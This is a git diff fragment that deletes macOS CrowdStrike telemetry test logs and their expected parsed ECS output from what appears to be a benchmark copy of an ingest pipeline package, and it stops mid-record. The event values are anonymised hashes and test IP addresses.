-{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"} -{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json deleted file mode 100644 index b4847a3eb2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json +++ /dev/null @@ -1,1764 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "25043379", - "ContextBaseFileName": "09e61", - "ContextProcessId": "128660005005330005", - "ContextTimeStamp": "2025-09-06T21:44:33.478Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "66", - "EventOrigin": "1", - "FileCategory": "1", - "IsOnRemovableDisk": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "902e0c3461e5e975df4227b1ce8919630d6d", - "name": "f1facdb9387bd66ffd9ef" - }, - "device": { - "id": "b616fca617fa5819625542d9505100de" - }, - "event": { - "action": "BZip2FileWritten", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "902e0c3461e5e975df4227b1ce8919630d6d|b616fca617fa5819625542d9505100de|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"09e61\",\"event_simpleName\":\"BZip2FileWritten\",\"ContextTimeStamp\":\"1757195073.478\",\"UserName\":\"4813\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"128660005005330005\",\"Size\":\"164\",\"ContextThreadId\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"f1facdb9387bd66ffd9ef\",\"EventOrigin\":\"1\",\"id\":\"902e0c3461e5e975df4227b1ce8919630d6d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b616fca617fa5819625542d9505100de\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/836/3be7855d.bz2\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/715dc84/c86/836", - "extension": "bz2", - "inode": "ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a", - "name": "3be7855d.bz2", - "path": "/715dc84/c86/836/3be7855d.bz2", - "size": 164, - "type": "file" - }, - "host": { - "id": "b616fca617fa5819625542d9505100de", - "os": { - "type": "macos" - } - }, - "message": "BZip2FileWritten", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "b616fca617fa5819625542d9505100de", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "128660005005330005", - "name": "09e61", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "25043379" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "4813" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "4813" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "859328400", - "ContextProcessId": "807031761070052000", - "ContextTimeStamp": "2025-05-26T23:37:50.919Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "86", - "EventOrigin": "1", - "USN": "150410415", - "UnixMode": "905", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "46dbd0c61a79bcf29fba222797ace5754589", - "name": "0e25074caaed0b54119466642" - }, - "device": { - "id": "38d08ba2d7184565619459d87ca92c8a" - }, - "event": { - "action": "CriticalFileModified", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "46dbd0c61a79bcf29fba222797ace5754589|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1748302670.919\",\"GID\":\"0\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"807031761070052000\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"FileIdentifier\":\"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"UID\":\"0\",\"USN\":\"150410415\",\"event_platform\":\"Mac\",\"UnixMode\":\"905\",\"Entitlements\":\"86\",\"name\":\"0e25074caaed0b54119466642\",\"EventOrigin\":\"1\",\"id\":\"46dbd0c61a79bcf29fba222797ace5754589\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/812/4f8a2\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "/715dc84/812", - "inode": "fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21", - "name": "4f8a2", - "path": "/715dc84/812/4f8a2", - "type": "file" - }, - "host": { - "id": "38d08ba2d7184565619459d87ca92c8a", - "os": { - "type": "macos" - } - }, - "message": "CriticalFileModified", - "observer": { - "address": [ - "2a02:cf40::1" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::1" - ], - "serial_number": "38d08ba2d7184565619459d87ca92c8a", - "version": "2c8b.4.daf5d9d.4f" - }, - "process": { - "entity_id": "807031761070052000", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "859328400" - ], - "ip": [ - "2a02:cf40::1" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "65043379", - "ContextProcessId": "309000003380007780", - "ContextTimeStamp": "2025-09-13T16:35:42.026Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "3", - "TreeId": "586900090030000484", - "UnixMode": "105", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2e5060ef833ae51492bb2f2feaa9f0a52725", - "name": "b556b2f8c2fcc9d247c" - }, - "device": { - "id": "f8e97b22125b280e944b0a3e95273005" - }, - "event": { - "action": "FileCreateInfo", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2e5060ef833ae51492bb2f2feaa9f0a52725|f8e97b22125b280e944b0a3e95273005|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FileCreateInfo\",\"ContextTimeStamp\":\"1757781342.026\",\"GID\":\"45\",\"ConfigStateHash\":\"65043379\",\"ContextProcessId\":\"309000003380007780\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"213\",\"event_platform\":\"Mac\",\"TreeId\":\"586900090030000484\",\"UnixMode\":\"105\",\"Entitlements\":\"26\",\"name\":\"b556b2f8c2fcc9d247c\",\"EventOrigin\":\"3\",\"id\":\"2e5060ef833ae51492bb2f2feaa9f0a52725\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f8e97b22125b280e944b0a3e95273005\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052", - "extension": "reg-journal", - "name": "331ced6b.reg-journal", - "path": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal", - "type": "file" - }, - "host": { - "id": "f8e97b22125b280e944b0a3e95273005", - "os": { - "type": "macos" - } - }, - "message": "FileCreateInfo", - "observer": { - "address": [ - "2a02:cf40::1" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::1" - ], - "serial_number": "f8e97b22125b280e944b0a3e95273005", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "309000003380007780", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "65043379" - ], - "ip": [ - "2a02:cf40::1" - ], - "user": [ - "213" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "45" - }, - "id": "213" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "600000970", - "ContextProcessId": "700001226457050500", - "ContextTimeStamp": "2025-11-11T16:15:09.496Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "16", - "EventOrigin": "45", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "da89f6e8e51680edc853caf65110cd0b6997", - "name": "d6b45f4ee5e3f0dc22415" - }, - "device": { - "id": "688342f2ec2adb5c7a9da5d3fec0cf70" - }, - "event": { - "action": "FirewallDisabled", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "da89f6e8e51680edc853caf65110cd0b6997|688342f2ec2adb5c7a9da5d3fec0cf70|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FirewallDisabled\",\"ContextTimeStamp\":\"1762877709.496\",\"ConfigStateHash\":\"600000970\",\"ContextProcessId\":\"700001226457050500\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"16\",\"name\":\"d6b45f4ee5e3f0dc22415\",\"EventOrigin\":\"45\",\"id\":\"da89f6e8e51680edc853caf65110cd0b6997\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"688342f2ec2adb5c7a9da5d3fec0cf70\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "688342f2ec2adb5c7a9da5d3fec0cf70", - "os": { - "type": "macos" - } - }, - "message": "FirewallDisabled", - "observer": { - "address": [ - "2a02:cf40::1" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::1" - ], - "serial_number": "688342f2ec2adb5c7a9da5d3fec0cf70", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "700001226457050500" - }, - "related": { - "hash": [ - "600000970" - ], - "ip": [ - "2a02:cf40::1" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "859328400", - "ContextProcessId": "900268078000780315", - "ContextTimeStamp": "2025-05-11T11:25:53.829Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "46", - "EventOrigin": "45", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b6c44348e6ee1e39992118be1c7150fa6a2e", - "name": "07198adb48f191c84a38" - }, - "device": { - "id": "38d08ba2d7184565619459d87ca92c8a" - }, - "event": { - "action": "FirewallEnabled", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "b6c44348e6ee1e39992118be1c7150fa6a2e|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FirewallEnabled\",\"ContextTimeStamp\":\"1746962753.829\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"900268078000780315\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"46\",\"name\":\"07198adb48f191c84a38\",\"EventOrigin\":\"45\",\"id\":\"b6c44348e6ee1e39992118be1c7150fa6a2e\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "38d08ba2d7184565619459d87ca92c8a", - "os": { - "type": "macos" - } - }, - "message": "FirewallEnabled", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "38d08ba2d7184565619459d87ca92c8a", - "version": "2c8b.4.daf5d9d.4f" - }, - "process": { - "entity_id": "900268078000780315" - }, - "related": { - "hash": [ - "859328400" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "95043379", - "ContextProcessId": "160345220009000222", - "ContextTimeStamp": "2025-05-12T22:49:06.428Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "66", - "EventOrigin": "45", - "FirewallAction": "1", - "InterfaceAlias": "445", - "IsUnique": "1", - "LocalAddressIP4": [ - "216.160.83.56" - ], - "LocalAddressMaskIP4": "5452380700", - "NegateInterface": "0", - "NegateLocalAddress": "0", - "NegateRemoteAddress": "0", - "RemoteAddressMaskIP4": "7807212067", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "806ac88ec376c30a3ad5d58a509223d6a681", - "name": "dc265f862d44e408c3e76cd" - }, - "destination": { - "address": "216.160.83.56", - "as": { - "number": 209 - }, - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": "216.160.83.56" - }, - "device": { - "id": "e49032362e42da0f07152b78718c7674" - }, - "event": { - "action": "FirewallSetRuleIP4", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "806ac88ec376c30a3ad5d58a509223d6a681|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"445\",\"RemoteAddressMaskIP4\":\"7807212067\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"EventOrigin\":\"45\",\"LocalAddressMaskIP4\":\"5452380700\",\"id\":\"806ac88ec376c30a3ad5d58a509223d6a681\",\"Protocol\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"FirewallSetRuleIP4\",\"ContextTimeStamp\":\"1747090146.428\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"160345220009000222\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"66\",\"name\":\"dc265f862d44e408c3e76cd\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"RemoteAddressIP4\":\"81.2.69.144\",\"ConnectionDirection\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "e49032362e42da0f07152b78718c7674", - "os": { - "type": "macos" - } - }, - "message": "FirewallSetRuleIP4", - "network": { - "community_id": "1:wvN/qwh5jrHmOHw4wJqiL5Fwle8=", - "direction": "inbound", - "iana_number": "0", - "transport": "hopopt" - }, - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "e49032362e42da0f07152b78718c7674", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "160345220009000222" - }, - "related": { - "hash": [ - "95043379" - ], - "ip": [ - "216.160.83.56", - "81.2.69.144" - ] - }, - "source": { - "address": "81.2.69.144", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "15043379", - "ContextProcessId": "160345220009000222", - "ContextTimeStamp": "2025-06-13T07:50:51.624Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "76", - "EventOrigin": "45", - "FirewallAction": "1", - "IcmpCode": "1", - "IcmpType": "990", - "InterfaceAlias": "3d0df", - "IsUnique": "1", - "LocalAddressIP6": [ - "2a02:cf40::1" - ], - "LocalAddressMaskIP6": "0e83fa75cca53fdf", - "NegateInterface": "0", - "NegateLocalAddress": "0", - "NegateRemoteAddress": "0", - "RemoteAddressMaskIP6": "374708fff7719dd5", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "642c09f791082b5d83a09c110880c78938cf", - "name": "e1d442f5c46bbf234569aea" - }, - "destination": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1" - }, - "device": { - "id": "e49032362e42da0f07152b78718c7674" - }, - "event": { - "action": "FirewallSetRuleIP6", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "642c09f791082b5d83a09c110880c78938cf|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"RemoteAddressIP6\":\"2a02:cf40::1\",\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"3d0df\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"RemoteAddressMaskIP6\":\"374708fff7719dd5\",\"LocalAddressMaskIP6\":\"0e83fa75cca53fdf\",\"EventOrigin\":\"45\",\"id\":\"642c09f791082b5d83a09c110880c78938cf\",\"Protocol\":\"62\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"FirewallSetRuleIP6\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"ContextTimeStamp\":\"1749801051.624\",\"IcmpCode\":\"1\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"160345220009000222\",\"IcmpType\":\"990\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"76\",\"name\":\"e1d442f5c46bbf234569aea\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "e49032362e42da0f07152b78718c7674", - "os": { - "type": "macos" - } - }, - "message": "FirewallSetRuleIP6", - "network": { - "community_id": "1:/PXwsbY7C0EByZrDGqpoxSqF9J8=", - "direction": "outbound", - "iana_number": "62" - }, - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "e49032362e42da0f07152b78718c7674", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "160345220009000222" - 